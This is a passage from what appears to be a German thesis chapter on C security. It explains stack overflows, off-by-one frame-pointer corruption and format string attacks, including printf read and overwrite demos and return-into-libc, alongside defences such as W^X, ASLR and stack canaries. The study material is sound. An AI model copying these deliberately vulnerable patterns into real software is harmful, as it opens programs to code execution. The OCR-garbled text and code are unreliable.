Jahre (vergleiche hierzu die Vulnerability Type Distribuions der CVE [CMOQT]). Dies
zeichnet sich besonders in der Ausnutzung dieser Fehledda in diversen high-pro le
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int_uac3.c

#include  <stdlib.h>
#include  <math.h>
#include  "bits.h"

int  main( void ) {
unsigned int ui = 1,

long | = -10;
printBitsUInt("ui ", ui);
printBitsLong("l ")

if (I + ui) >0){
printBitsULong("l+ui", (I+ui));
} else {
printBitsLong("l+ui", (I+ui));

}

exit(0);
}

Ausgabe auf x86
ui = 1 = 00000000000000000000000000000001
[ = -10 = 11111111111111111111111111110110
I+ui = 4294967287 = 111111111111111121111112111110111
Ausgabe auf x86-64

i = 1 = 00000000000000000000000000000001
[ = -10 = 1111111111111111111211111111111111111111111111 1111111111111110110
I+ui = -9 = 1111111111111111111111111111111111111111111 111111111111111110111

Listing 2.13: Operationen auf einem vorzeichenlosen uetheyp eren vorzeichenbehafteten
Typ
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Angri en ab, wie zum Beispiel bei den diversen Attacken auf pples iPhonelSec06], Sonys
Play Station Portable|[Sec06] oder Nintendos Wii und Wrmern wie Code RedleDS01] oder
SQL slammel[MPS 03].

Prinzipiell muss man zwei Arten von Pu eriberlaufen unterscheiden: Pu eeberlaufe
auf dem Stack und Pu emberlaufe auf dem Heap. Diese werde ich im Folgenden vorstellen.

2.3.1 Stack uberl aufe

Ein Stack (im deutschen auch als Stapelspeicher bezeichnet eine Datenstruktur, die
nach dem so genannten Last-In-First-Out-Prinzip funktiorert. Daten kennen also nur
am oberen Ende des Stacks hinzugeft oder entfernt werden, reine Lesezugri erfolgen
allerdings wabhlfrei. Compiler nutzen Stacks um lokale Vaablen abzulegen, Funktions-
parameter zuubergebeﬁ und um die Hierarchie von Funktionsaufrufen abzubilden. De
Bereich eines Stacks, der einer Funktion zur Verflung steht, wird alsStackframedieser
Funktion bezeichnet. Die Grenzen eines Stackframes werddarch zwei CPU-Register
de niert, die Obergrenze steht im sogenannterstackpointer esp, die Untergrenze im
sogenanntenBasepointer ebp. Der Basepointer dient zuatzlich zum Sichern des Stack-
pointers der Funktion, die die momentane Funktion aufgerea hat. Der Basepointer selbst
hingegen wird auf dem Stack gespeichert, dieses Feld nennanmdann denFramepoin-
ter des Stackframes. Bei der &kkehr aus einer Funktion wird der Basepointer in den
Stackpointer kopiert und der Framepointer in den Basepoietr. Zusatzlich ist es wichtig
zu wissen, dass Stacks auf x86 im Speicher von oben nach unt&chsen, das oberste
Element beziehungsweise der Stackpointer hat also immeneiniedrigere Adresse als der
Basepointer, wird aber trotzdem als \oben" auf dem Stack bexchnet.

In Listing E13 sieht man ein Beispielprogramm, an dem sichied Funktionsweise ei-
nes Stacks gut erldren lasst. Listing[ZT4 zeigt die zum Versindnis metigen Assembler-
Instruktionen der Funktionen, Abbildungen[Z1 zeigt den Zstand des Stacks vor der
Reckkehr aus der Funktiontwo (nach <two+16> in Listing E.14).

Der Aufruf von two ausone heraus huft im Beispiel wie folgt ab:

<one+23>: Die aufrufenden Funktion (ne) nutzt die call -Instruktion um die
Recksprungadresse (das heit die Adresse, an der die Aubfung von one nach
dem Aufruf von two fortgesetzt werden soll, also die Adresse der Instruktiorach
der momentanen:<one+28>) auf den Stack zu schreiben und die Adresse der auf-
zurufenden Funktion ¢wo ) in das Instruktionsregister zu laden.

Der Funktionsprolog der aufgerufenen Funktion

2Au er auf x86-64, dort werden Funktionsparameter nach Meglichkeit in Registern ubergeber[BO05]
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gdb> disassemble two

Dump of assembler code for function two:

0x08048354 <two+0>:
0x08048355 <two+1>:
0x08048357 <two+3>:
0x0804835a <two+6>:
0x08048361 <two+13>:
0x08048364 <two+16>:
0x08048367 <two+19>:
0x08048368 <two+20>:
End of assembler dump.

gdb> disassemble one

push
mov
sub
mov
mov
add
leave
ret

%ebp
%esp,%ebp
$0x10,%esp
$0xff00,0xfffffffc(Yoebp)
0xfffffffc(Y%oebp),%eax
0x8(%ebp),%eax

Dump of assembler code for function one:

0x08048369 <one+0>:
0x0804836a <one+1>:
0x0804836¢c <one+3>:
0x0804836f <one+6>:
0x08048376 <one+13>:
0x08048379 <one+16>:
0x0804837d <one+20>:
0x08048380 <one+23>:
0x08048385 <one+28>:
0x08048386 <one+29>:
End of assembler dump.

gdb> disassemble main

push
mov
sub
mov
mov
imul
mov
call
leave
ret

%ebp
%esp,%ebp
$0x14,%esp
$0xf, 0xfffffffc(Yoebp)
0x8(%ebp),%eax
Oxfffffffc(Yoebp),%eax
%eax,(%esp)
0x8048354 <two>

Dump of assembler code for function main:

0x080483b0 <main+0>:

0x080483b4 <main+4>:

0x080483b7 <main+7>:

0x080483ba <main+10>:
0x080483bb <main+11>:
0x080483bd <main+13>:
0x080483be <main+14>:
0x080483cl <main+17>:
0x080483c6 <main+22>:
0x080483cd <main+29>:
0x080483d2 <main+34>:
0x080483d7 <main+39>:
0x080483da <main+42>:
0x080483db <main+43>:
0x080483dc <main+44>:
0x080483df <main+47>:

End of assembler dump.

Listing 2.14: Die disassemblierten Funktionen st@tk.c

lea
and
push
push
mov
push
sub
call
mov
call
mov
add
pop
pop
lea
ret

0x4(%esp),%ecx
$Oxfffffff0,%esp
Oxfffffffc(%oecx)
%ebp
%esp,%ebp
%ecx
$0x4,%esp
0x8048387 <stackSanitize>
$0x10,(%esp)
0x8048369 <one>
$0x0,%eax
$0x4,%esp
%ecx
%ebp
Oxfffffffc(%oecx),%esp
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0xbf98522¢ 0x41414141 unbenutzt
0xbf985230 0x41414141 unbenutzt
0xbf985234 0x41414141 unbenutzt
0xbf985238 0x0000ff00 lokale Variable
0xbf98523c 0xbf985258 Framepointer
0xbf985240 0x08048385 Return Address: <one+28>
0xbf985244 0x000000f0 Parameter fur two
0xbf985248 0x41414141 unbenutzt
0xbf98524c 0x41414141 unbenutzt
0xbf985250 0x41414141 unbenutzt
0xbf985254 0x0000000f lokale Variable
— > 0xbf985258 0xbf985268 Framepointer
0xbf98525¢ 0x080483d2 Return Address: <main+34>
0xbf985260 0x00000010 Parameter fir one
0xbf985264 0xbf985280 unbenutzt
—— > 0xbf985268 0xbf9852c8 Framepointer
0xbf98526¢ O0xb7e8fea8 Return Address
—> 0xbf98528¢c 0x00000000 Terminierender Framepointer

Abbildung 2.1: Der Zustand des Stacks vor deckkehr aus der Funktiamvo in stack.c
Auf der linken Seite be nden sich die Speicheradressesy iMitte der Inhalt dieser Adressen,
rechts eine Beschreibung des Inhalts.
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stack.c

#include  "stack.h"

int  two( int i) {
int m = OxFFOO;
return i + m;

int  one(int i) {
int  m = OxOF;
return  two(i * m);

int  main( void ) {
stackSanitize();
one(0x10);
return  0O;

Listing 2.15: Ein Programm zur Bdterung des Stacks

{ <two+0>: sichert den Basepointer auf den Stack

{ <two+1>: sichert den Stackpointer im Basepointer-Register, diestider Ba-
sepointer der aufgerufenen Funktion

{ <two+3>: reserviert Platz auf dem Stack #r lokale Variablen

{ <two+6>: speichert die einzige lokale Variable auf dem Stack
<two+13> bis inkl. <two+17>: Die Funktion two fehrt ihre Berechnungen durch
Der Funktionsepilog der aufgerufenen Funktion

{ <two+19>: der Funktionsepilog stellt den im Basepointer gespeiclten Stack-
pointer und den auf dem Stack gespeicherten Basepointer dés her.

{ <two+20>: danach kdt er die Returnadresse in das Instruktionsregister

Nach der Ruckkehr austwo ist der Stack vonone wieder im gleichen Zustand wie
vor dem Aufruf von two .

Missbrauch

Stackeiberlaufe sind die am lau gsten ausgenutzte Art von Pu eruberlaufen, da sie auf
einem nicht speziell gegen sie abgesicherten System selochtezum Einschleusen von
Schadcode verwendet werdemekinen.

Wie man in Abbildung [ZJ sehen kann, be nden sich unterhalbet lokalen Variablen
einer Funktion ihre Return Addresse und ihr Framepointer. B ndet sich nun ein Pu er
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(auch\Feld" genannt, im Englischen \Array") auf dem Stack, der mit mehr Daten ge#illt
wird als er fassen kann, wirdeber die Grenzen des Pu ers hinaus in den Speicherbe-
reich dahinter geschrieben. Soeanen zum Beispiel nicht nur die auf dem Stack unter
dem Pu er gelegenen lokalen Variablen beliebig gadert werden, sondern auch die &ck-
sprungadresse, der Framepointer oder gar die ganze Struktles restlichen Stacks. Meist
wird die Recksprungadresse so gadert, dass sie in einen vom Angreifer kontrollierten
Speicherbereich zeigt, der Schadcode eath Dies kann zum Beispiel der Pu er selbst
oder auch eine Umgebungsvariable sein. Ein Beispiel hisarfndet sich in Listing
Eine weitere Variation dieser Fehlerklasse tritt auf, wenawar die Lange der zu kopieren-

stack overflowl.c

#include  <stdio.h>
#include  <string.h>

void func( char * str) {
int a=1;
int b= 2;
char buf[32];

strcpy(buf, str);
printf("str: %s\n", buf);

printf("a: %08x\n", a);
printf("b: %08x\n", b);

int  main( void ) {

char str[64];
memset(str, 'A’, sizeof (str)-1);
str[ sizeof (str)-1] = "\0';

func(str);

}

str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
a: 41414141

b: 41414141

Segmentation fault

Listing 2.16: Ein Pu emberlauf, verursacht durch die unsachgesBenutzung vorstrcpy

Der mehrfach in den Variablenund b stehende Wer0x41 entspricht dem Buchstabeh,
mit demstr getllt wurde. Die\Segmentation fault“Meldung in der letatZeile der Ausgabe
signalisiert den Abbruch des Programms, da versucht winskeyktionen inOx41414141 ,
einem nicht genutzten Speicherbereich, anwgmeh.

den Zeichkettemberpreft wird, dabei aber vergessen wird, dass die Elemente eirfas ers

in C ab 0 adressiert werden. In Listing~Z 17 wird dies demomgtrt. buf[sizeof(buf)]

= '\O' versuchtbuf mit einem Nullbyte zu terminieren, schreibt dieses aber eiByte

hinter buf , in das niederwertigste Byte des Framepointers. Bei dereiekkehr austwo

wird dieser dann zum Basepointer und wenn das Programm danmch nicht abskirzen
sollte, wird der Basepointer bei der Bckkehr ausone zum Stackpointer werden. Ein
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Angreifer kann diesen Fehler unter Um&nden missbrauchen, falls der benutzte Pu er

von ihm kontrollierte Daten enthalt und die richtige Gre e und Position auf dem Stack

hat. Der durch das Nullbyte modi zierte Framepointer muss ¢diglich in den Bereich des
Pu ers zeigen. Der Angreifer kann dann innerhalb dieses Pers seinen eigenen Stack
nachbauen. Dies wird auch alérame Faking[Ner02] bezeichnet.

stack_overflow2.c

#include  <stdio.h>
#include  <string.h>

void two( char * str) {
char buf[32];

strncpy(buf, str, 32);
buf[ sizeof (buf)] = "0}

printf("str: %s\n", buf);
void one( char » str) {

two(str);
puts("after calling two");

int  main( void ) {
char str[64];

memset(str, 'A’, sizeof (str)-1);
str[ sizeof (str)-1] = "\0';
one(str);

str: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
after calling two
Segmentation fault

Listing 2.17: Ein Pu eaberlauf.buf{sizeof(buf)] = "\0'

Framepointers

Gegenma nahmen

eberschreibt ein Byte des

W X. W X (Write XOR Execute) ist die verbreiteste Bezeichnungeneir Verfahrerﬁ,
die es erzwingen, dass Speicherseiten entweder bescheailoler austihrbar sein k®nnen,
nie beides. Dies verhindert zum Beispiel Staekerlaufe, die davon ablngig sind, ihren
Schadcode auf dem Stack zu speichern um diesemtsp auszusihren.

3AMD bezeichnet es als Enhanced Virus Protection oder NX-Bit Linux ebenfalls als NX-Bit und Intel

als XD-Bit
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Leider fuhrt dieses Vorgehen auch dazu, dass legitime Applikatiomalie auskihrbare
und schreibbare Speicherbereiche batigen, nicht mehr funktionieren (zum Beispiel Just-
in-Time-Compiler), was allerdings durchWhitelisting gre tenteils behoben werden kann.
Dieses Verfahren muss auf x86-32-kompatiblen Prozessosaitwareseitig emuliert wer-
den, zum Beispiel durch PaX|Thec] oder ExecShield[Mol], warch es zu leichten Perfor-
manzverlusten kommt. Auf x86-64 wird es hardwareseitig uetstetzt, weshalb auf dieser
Plattform durch den Einsatz von W X keine weiteren Nachteile entstehen.

Obwohl herkemliche Stack®berlaufe, die den Stack nur bis zur Rcksprungadresse
eiberschreiben und diese dann auf eingeschleussten Schddaeigen lassen, e zient ver-
hindert werden, da alle Speicherseiten in die sich Code selren ksst nicht mehr aus-
fuhrbar sind, ist es sehr leicht meglich W X zu umgehen, zum Beispiel mit der sogenann-
ten return-into-lib(c) -Technik. Return-into-lib(c)-Angri e wberschreiben die Rcksprun-
gadresse auf dem Stack mit der Adresse eineemschenswerten Funktion (zum Beispiel
system ) und zusatzlich den Bereich hinter der Ricksprungadresse mit Parameternef
diese Funktion. Durch diese Stackmodi kation wird beim Velassen der Funktion in die
durch die Returnadresse spezi zierte Funktion zwrckgekehrt, welche dann wiederum ihre
Parameter vom Stack liest, in unserem Beispiel also zum Bgisl /bin/sh ~ zum Starten
einer Shell mit system . Zwar existieren gegen diese Techniken durchaus Abwehrma
nahmen, allerdings existierenefr diese auch entsprechende Umgehungstechniken. Eine
Erlauterung dieser Techniken wrde leider den Rahmen dieser Arbeit sprengen, weshalb
ich hier nicht weiter darauf eingehen werde. & weiterfahrende Informationen empfehle
ich daher die Lekeire von\The advanced return-into-lib(c)" exploits von \Nergal'{Ner02].

Abschliessend muss ich embhnen, dass W X zwar nicht die Ausnutzung von Fehler-
klassen wie zum Beispiel Pu emberlaufen verhindert, sie allerdings erschwert. Whrend
W X alleine kaum ein Hindernis @ir einen erfahrenen Angri er darstellt, kann es durchaus
zu einem wesentlichen Hindernis werden, wenn es mit AddreSpace Layout Randomi-
zation kombiniert wird, welche im Folgenden es#lutert wird. Dies begmindet sich in der
erhohten Abhangigkeit von der Kenntnis von Speicheradressen beim Aufreiner oder
mehrerer Funktionen.

Address Space Layout Randomization Ein Gro teil der Techniken, die Pu er uber-
laufe oderahnliche Fehlerklassen ausnutzen,aingen von der Kenntnis bestimmter Spei-
cheradressen ab, zum Beispiel der Adresse ddsergelaufenen Pu ers oder der Adres-
se bestimmter Library-Funktionen. Address Space Layout RandomizatiofASLR) ver-
sucht, diese Attacken durch das zedlige Anordnen der Programmsegmente im Speicher
zu verhindern. Jedes dieser Programmsegmente efthbei jedem Programmstart eine
neue Adresse im Speicher. Die meisten ASLR-Implementiegen randomisieren hierzu
die Adressen des Stacks, Heaps, Code-Segments, sowie dadgeen Bibliotheken.
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Angri e auf ASLR-verstarkte Systemen versuchen meist die nicht randomisierten ile
der Anwendung anzugreifen (siehé_|Kra]) oder in Erfahrunguzoringen, wie die Segmente
des Programms im Speicher angeordnet sind. Dies wird meistiweder durch automati-
siertes Ausprobieren verschiedener Adressen erreicht odeirch Ausnutzung von Infor-
mationen, die zum Beispiel durch das Betriebssystem zur fagung gestellt werden oder
sich durch andere Schechen im Programm erhalten lassen. Zatzlich wird das reine
Ausprobieren von Adressen auf x86-32 Systemen stark veffaicht, da die meisten Seg-
mentadressen aus technischen enden nur 16{20 zugllige Bits enthalten und daher in
verhaltnismessig kurzer Zeit durch reines Ausprobieren Erraten werddmnnen. Auf x86-
64 Systemen ist mit mindestens 40 zalfligen Adress-Bits zu rechnen, was den Aufwand
des Erratens ausreichend weit esft.

ASLR hat sich als sehr wirkungsvoll gegen eine gro e Anzahbm Attacken erwiesen,
allerdings kann sie keine absolute Sicherheit bieten, da Bsmer meglich ist, dass ein
Angreifer eine entsprechende Adresse atroder anders in Erfahrung bringt. Dies gilt
besonders auf 32bit Systemen. Trotzdem ist ASLR eine der anedien funktionierenden
Abwehrmechanismen gegen eine gro e Zahl verschiedener IEgkiassen, wie zum Beispiel
Pu er ublaufe oder die in KapitellZ51l esuterten double frees

Zur weiteren Lektire der Thematik mechte ich auf [SPP 04] und [The03] verweisen.

Stack Canaries Ein anderer Ansatz zur Vermeidung der Ausnutzung von Pu aesber-
laufen ist es, Pu eriberlaufe vor der Riuckkehr aus der Funktion zu erkennen, in deren
Stackframe der Pu er mbergelaufen ist. Dies wird in der Regel durch das Ewden ei-
nes zustzlichen Wortes zwischen den Variablen der Funktion und desbenfalls auf dem
Stack gespeicherten Bcksprungadresse und dem Basepointer erreicht, dem sogantan
Stack Canaryoder Stack Cookie Dieses Wort wird vor der Rickkehr aus der Funktion auf
Unversehrtheit gepeift. Sollte es nicht den erwarteten Wert enthalten, muss esuzeinem
Pu er wberlauf gekommen sein und das Programm muss beendet werden megliche
Schaden zu vermeiden.

Diese Technik wurde erstmals 1997 unter dem Namen StackGdePM™ 98] fur den
GNU C Compiler (GCC) implementiert. In diesem Kapitel betrachten wir allerdings ei-
ne modernere Implementierung dieser Technik, den GCC-SkaSmashing-Protectol[Et0]
(SSP, fruher IBM ProPolice).

SSP #igt nicht nur ein zufalliges Wort ein, sondern modi ziert die Anordnung der
Daten auf dem Stack. Durch diese Umordnungexnen nur noch andere Pu er angegri en
werden, allerdings nicht lokale Variablen oder Basepointeind Reicksprungadressen. In
Listing 218 undZI® be nden sich die mit SSP kompilierterdisassemblierten Funktionen
von stack.c  (siehe Listing[ZI5) und in AbbildunglZP eine Darstellunges Stacks vor
der Reickkehr austwo . Zum Vergleich nden sich in Listing ZI# und in AbbildungZ]]
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die entsprechenden Gegenstke ohne SSP.

Dump of assembler code for function two:

0x08048424 <two+0>: push %ebp

0x08048425 <two+1>: mov %esp,%ebp
0x08048427 <two+3>: sub $0x18,%esp
0x0804842a <two+6>: mov 0x8(%ebp),%eax
0x0804842d <two+9>: mov %eax,0xffffffec(%oebp)

0x08048430 <two+12>: mov 0x804974c,%eax
0x08048435 <two+17>: mov %eax,xfffffffc(%oebp)
0x08048438 <two+20>: xor %eax,%eax
0x0804843a <two+22>: movl $0xff00, Ox(fffffff8(%ebp)
0x08048441 <two+29>: mov Oxfffffff8(%ebp),%eax
0x08048444 <two+32>: add Oxffffffec(%ebp),%eax
0x08048447 <two+35>: mov 0xfffffffc(Y%oebp),%edx
0x0804844a <two+38>: xor 0x804974c¢,%edx

0x08048450 <two+44>: je 0x8048457 <two+51>
0x08048452 <two+46>: call  0x8048360 <__stack_chk_fail@p It>
0x08048457 <two+51>: leave

0x08048458 <two+52>: ret
End of assembler dump.

Dump of assembler code for function one:

0x08048459 <one+0>: push %ebp

0x0804845a <one+1>: mov %esp,%ebp

0x0804845c <one+3>: sub $0x18,%esp

0x0804845f <one+6>: mov 0x8(%ebp),%eax
0x08048462 <one+9>: mov Y%eax,0xffffffec(%ebp)
0x08048465 <one+12>: mov 0x804974c,%eax
0x0804846a <one+17>: mov %eax,0xfffffffc(Yoebp)
0x0804846d <one+20>: xor %eax,%eax
0x0804846f <one+22>: movl  $0xf,0xfffffff8(%ebp)
0x08048476 <one+29>: mov 0xffffffec(%ebp),%eax
0x08048479 <one+32>: imul Oxfffffff8(%ebp),%eax
0x0804847d <one+36>: mov %eax,(%esp)
0x08048480 <one+39>: call 0x8048424 <two>
0x08048485 <one+44>: mov Oxfffffffc(%oebp),%edx
0x08048488 <one+47>: xor 0x804974c,%edx

0x0804848e <one+53>: je 0x8048495 <one+60>
0x08048490 <one+55>: call 0x8048360 <__stack_chk_fail@p It>
0x08048495 <one+60>: leave

0x08048496 <one+61>: ret
End of assembler dump.

Listing 2.18: Die Funktioneone undtwo vonstack.c nachdem sie mit der GCC option
-fstack-protector-all ebersetzt wurden. Di®berprfung der Stack Canaries nden
in <two+38> und <one+47> statt

In der Vergangenheit haben sich Stack Canaries als sehr etekgegen Staclaber-
laufe erweisen und &nnen die Gefahren dieser, je nach Implementation, fast \&tandig
verhinderrH.

Die einzigen Nachteilen von Stack Canaries sind, dass alle schetzenden Applikation
mit SSP-Unterstutzung kompiliert werden meissen und laut [[Etd] ein Geschwindigkeits-
verlust von durchschnittlich 8% beim Einsatz von SSP auftti.

4Die einzige Ausnahme bleibt dast)berschreiben anderer Variablen auf dem Stack, allerding&ann
dies vernachkssigt werden.

28 Programmiersprachenwahl bei der Entwicklung sicherheits relevanter Software



KAPITEL 2. C

Oxbff55fcO 0x41414141 unbenutzt
0xbff55fc4 0x000000f0 Parameter fir two
Oxbff55fc8 0x41414141 unbenutzt
0xbff55fcc 0x41414141 unbenutzt
0xbff55fd0 0x0000ff00 lokale Variable
Oxbff55fd4 0xf79168fa Stack Canary
Oxbff55fd8 0xbff55ff8 Framepointer
0xbff55fdc 0x08048485 Return Address: <one+44>
0xbff55fe0 0x000000f0 Parameter fir two
0xbff55fe4 0x00000010 Parameter fir one
0xbff55fe8 0x41414141 unbenutzt
Oxbff55fec 0x41414141 unbenutzt
0xbff55ff0 0x0000000f lokale Variable
Oxbff55ff4 0xf79168fa Stack Canary
—— > Oxbff55ff8 0xbff56018 Framepointer
0xbff55ffc 0x08048506 Return Address: <main+44>
0xbff56000 0x00000010 Parameter fir one
0xbff56004 0xb7f48ab0 unbenutzt
0xbff56008 0xbff56028 unbenutzt
0xbff5600c 0x08048599 unbenutzt
0xbff56010 0xf79168fa Stack Canary
0xbff56014 0xbff56030 unbenutzt
— > 0xbff56018 0xbff56078 Framepointer
> 0xbff56078 0x00000000 Terminierender Framepointer

Abbildung 2.2: Der Zustand des Stacks vor deckkehr aus der Funktiomvo in stack.c
mit SSP. Auf der linken Seite be nden sich die Speicheradnesn der Mitte der Inhalt dieser
Adressen, rechts eine Beschreibung des Inhalts.
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Dump of assembler code for function main:

0x080484da <main+0>: lea 0x4(%esp),%ecx
0x080484de <main+4>: and $Oxfffffff0,%esp
0x080484el <main+7>: pushl  Oxfffffffc(%ecx)
0x080484e4 <main+10>: push %ebp

0x080484e5 <main+11>: mov %esp,%ebp
0x080484e7 <main+13>:  push  %ecx

0x080484e8 <main+14>: sub $0x14,%esp
0x080484eb <main+17>: mov 0x804974c,%eax
0x080484f0 <main+22>: mov Y%eax, Oxfffffff8(%ebp)
0x080484f3 <main+25>: xor %eax,%eax
0x080484f5 <main+27>: call 0x8048497 <stackSanitize>
0x080484fa <main+32>: movl $0x10,(%esp)
0x08048501 <main+39>: call 0x8048459 <one>
0x08048506 <main+44>: mov $0x0,%eax
0x0804850b <main+49>: mov Oxfffffff8(%ebp),%edx
0x0804850e <main+52>: xor 0x804974c,%edx
0x08048514 <main+58>: je 0x804851b <main+65>
0x08048516 <main+60>: call 0x8048360 <__stack_chk_fail@ plt>
0x0804851b <main+65>:  add $0x14,%esp
0x0804851e <main+68>: pop %ecx

0x0804851f <main+69>: pop %ebp

0x08048520 <main+70>: lea Oxfffffffc(%oecx),%esp
0x08048523 <main+73>: ret

Listing 2.19: Die Funktiomain vonstack.c nachdem sie mit der GCC optiefistack-
protector-all ebersetzt wurde. Di®berprufung des Stack Canary ndet mmain+52>
statt

2.3.2 Heap uberl aufe

Heapeberlaufe zielen wie Stadkberlaufen auf die Veanderung von Verwaltungsdaten die
zwischen Benutzerdaten gespeichert werden oder die Manigiion von Anwendungsdaten
ab. Aus Konsistzengunden nmechte ich #ir eine detailliertere Beschreibung auf Kapitdl[ 215
verweisen.

2.4 Formatstring-Angri e

Formatstring-Angri e sind eine Fehlerklasse, die lange Zefur harmlos gehalten wurde
und deren scldliches Potenzial erstmals 1999 von Tymm Twillman aufgeip¢ wurde
[Twi99].

Unter dem Begri Formatstring versteht man die Formatierungsparameter, wie sie
zum Beispiel in derprintf  -Funktionsfamilie genutzt werden. Diese erhalten in der Re
gel als erstes Argument das Format der darzustellenden Zeémkette und darauf folgend
eine variable Menge weiterer Argumenten, die als Quellerfin diese Zeichenkette einzu-
fugende Daten dienen. In TabelleZ2.3 be ndet sich eine Au ising der meistverwendeten
Formatstring-Funktionen.

Die meisten Formatstring-Funktionen berechnen hierbei diAnzahl ihrer Argumente
zur Laufzeit anhand der im Formatstring enthaltenenConversion Speci er (siehe Tabelle
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int printf(const char *format, ...)
Schreibt die erzeugte Zeichkette auf die Standardausgabe

int fprintf(FILE * stream, const char *format, ...)
Schreibt die erzeugte Zeichenkette auf einen FILE*-Stream

int sprintf(char *str, const char *format, ...)
Schreibt die erzeugete Zeichenkette in einen Pu er

int snprintf(char *str, size_t size, const char *format, ...)
Schreibt die erzeugte Zeichenkette in einen Pu er, allerdgs maximalsize Bytes

Tabelle 2.3: Die meist verwendeten Formatstring-Funktion

[Z3) und lesen diese dann vom Stﬂ:kDiese Vorgehensweise emglicht es allerdings auch,
zuviele oder zuwenige Argumente zwbergeben, ohne dass die Anwendung dieses bemerkt,
wie in Listing demonstriert wird.

formatstringl.c
#include  <stdio.h>
int  main( void ) {
printf("A:\n", 1,2);

printf("B: %i, %i\n");
exit(0);

Listing 2.20: Formatstring-Funktionen, die ihre Parametam Stack lesen.

2.4.1 Missbrauch

Die meisten Formatstring Angri e basieren darauf, dass derBenutzer erlaubt wird, den
Formatstring teilweise oder komplett zu bestimmen. Dies areglicht diverse Attacken,
von denen ich im Folgenden die wichtigsten auihlen werde. Es ist zu beachten, dass
die folgenden Beispiele davon ausgehen, dass der Formatgfrauf dem Stack liegt, da
dies derublichste und einfachste Fall ist. Sollte der Formatstringauf dem Heap liegen, ist
man in der Regel darauf angewiesen, einen Teil des Stacksariontrolle zu haben um
Adressen dort speichern zuénnen, wie ich spter in diesem Kapitel erautern werde.

SAu er auf x86-64, da auf dieser Plattform Funktionsparameter nach Meglichkeit in Registern uber-
geben werder[BOOB].
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Erlauterung

%i, %d

%0, %u

%X, %X

%s

%n

erwarteter Datentyp
int
unsigned int

unsigned int

char *

int *

Ein Wort wird vom Stack entfernt und
als Dezimalzahl ausgegeben

Ein Wort wird vom Stack entfernt und
als vorzeichenlose Dezimalzahl
ausgegeben

Ein Wort wird vom Stack entfernt und
als vorzeichenlose Hexadezimalzahl
ausgegeben

Ein Wort wird vom Stack entfernt und
als Zeiger interpretiert. Die Zeichenkette,
auf die dieser Zeiger zeigt, wird
ausgegeben

Ein Wort wird vom Stack entfernt und
als Zeiger interpretiert. Die Anzahl der
bis zu diesem Zeitpunkt durch den
printf-Aufruf geschriebenen Zeichen wird
an die vom Zeiger angegebenen Adresse
geschrieben

Tabelle 2.4: Die wichtigsten Formatstring Conversion Bgrec

Ausgabe des Stacks

Wie in Listing 221 zu sehen, ist es wglich, den Inhalt des Stacks wortweise auszulesen.
Dies erneglicht zum Beispiel das Auslesen eines eventuell vorhande Stack Canaries
(siehe KapitellZ:311) und ermglicht damit unter Umstanden andere Angri sformen.

Pu er wberl aufe

Es ist meglich mit einem pmparierten Formatstring den Ziel-Pu er einer Formatstring-

Funktion zum Uberlaufen zu bringen. ListingZZ2R zeigt dies anhand vasprintf

. Der

nur 256 Byte fassende Zielpu er wird mit 300 Byte gedilt, wodurch die nach dem Pu er
folgenden 44 Bytesberschrieben werden. In diesem Bereich be nden sich in deegel Re-
turnadresse und Framepointer, wodurch die Attacke wie einegwhnlicher Pu ereberlauf
weiter verlaufen kann (siehe KapiteZ13efr Informationen eber Pu ereberlaufe).

Wabhlfreies Lesen

Eine weitere Technik erlaubt es, beliebige Teile des Spetth auszugeben. Um dies zu
erreichen, muss man lediglich derfios Conversion Speci er die gewnschte Adresseiber-

geben.

Da sich der vom Angreifer kontrollierte Formatstring beres auf dem Stack be ndet,
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formatstring2.c

#include  <stdio.h>
#include  <string.h>
#include  "stack.h"

void func( char * frmt) {

int a = Oxff;
int b = Oxffff;
printf(frmt);

int  main( void ) {

stackSanitize();

func(
"0x%08x - unbenutzt\n"
"0x%08x - unbenutzt\n"
"0x%08x - lokale Variable\n"
"0x%08x - lokale Variable\n"
"0x%08x - Stack Canary\n"
"0x%08x - Framepointer\n”
"0x%08x - Return Address\n"

)

exit(0);

0x08048638 - unbenutzt
0x41414141 - unbenutzt
0x000000ff - lokale Variable
0x0000ffff - lokale Variable
0x73771de4 - Stack Canary
O0xbfcf35a8 - Framepointer
0x08048514 - Return Address

Listing 2.21: Missbrauch eines Formatstrings zur Ausgabesthckinhalts. Das 08-Pre x vor
dem Conversion Speci er sorgt nur &ir eine feste éange der ausgegebenen Zahlen von 8
Zeichen undandert nichts an der Menge der vom Stack gelesen Daten.

formatstring_overflow.c
#include  <stdio.h>
#include  <string.h>

void func( char * frmt) {
char buffer[256];
sprintf(buffer, frmt);

int  main( void ) {
func("%300x\n");

Listing 2.22: Missbrauch eines Formatstrings 2perschreiben eines Pu ers
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bietet es sich an, die Adresse in diesem Formatstring abzgén und die Stackeintage
davor (wie lokale Variablen oder Teile des Formatstrings)um Beispiel mit anderen Con-
version Speci ern zu entfernen.

In Listing E£2Z3 demonstriere ich diese Technik. Der Formatsng enthalt als erstes
Element die Adresse des gesuchten Speicherbereidhe08048508 entspricht im Little-
Endian-Format und als C-Zeichenkettéx08\x85\x04\x08 ). Danach folgen Unterstri-
che, die den Formatstring relativ zu anderen Speicherelenten ausrichten und mehrere
%x\n. Diese dienen dazu, den Inhalt des Stacks zu entfernen, basdechste Wort auf
dem Stack die im Formatstring gespeicherte Adresse ist. Ddann folgende%s\n dere-
ferenziert diese Adresse und gibt sie als Zeichenkette ahslL er Zeichenketten lasst sich
auf diese Weise zum Beispiel auch der Code des Programms eaesh, was zur Analyse
der Programmlogik und damit der Vorbereitung von weiteren Agri en genutzt werden
kann.

Wabhlfreies Schreiben

Um wahlfrei beliebige Werte in den Speicher zu schreiben,rkaman den%n Conversion
Speci er missbrauchen. Da es relativ unpraktisch ist mehre hundertmillionen Zeichen
auszugeben, um den Wert zu erhalten, welchen man n#nin den Speicher schreiben
mechte, wendet man diesen Conversion Speci er mehrfach anui@dh diese wiederholte
Anwendung werden mehrfach vier Byte grosse Integer, die jelg nur kleine Werte ent-
halten, in den Speicher geschrieben. Kaskadiert man diesgh&ibzugri e nun indem man
die Zieladresse jeweils um ein Byte versetztdst sich sehr einfach jeder beliebige Wert
in den wberlappenden Bereich schreiben, wie ich in Listiig—Z]24 menstriere.

Aus Grenden der Versandlichkeit habe ich in diesem Beispiel darauf verzichtegie
Argumente im Formatstring selbst zu speichern, da diese Taak bereits im vorherigen
Beispiel demonstriert wurde.

Der dort verwendete Formatstring verfolgt das Ziel, die Adesse der Funktiorhosti-
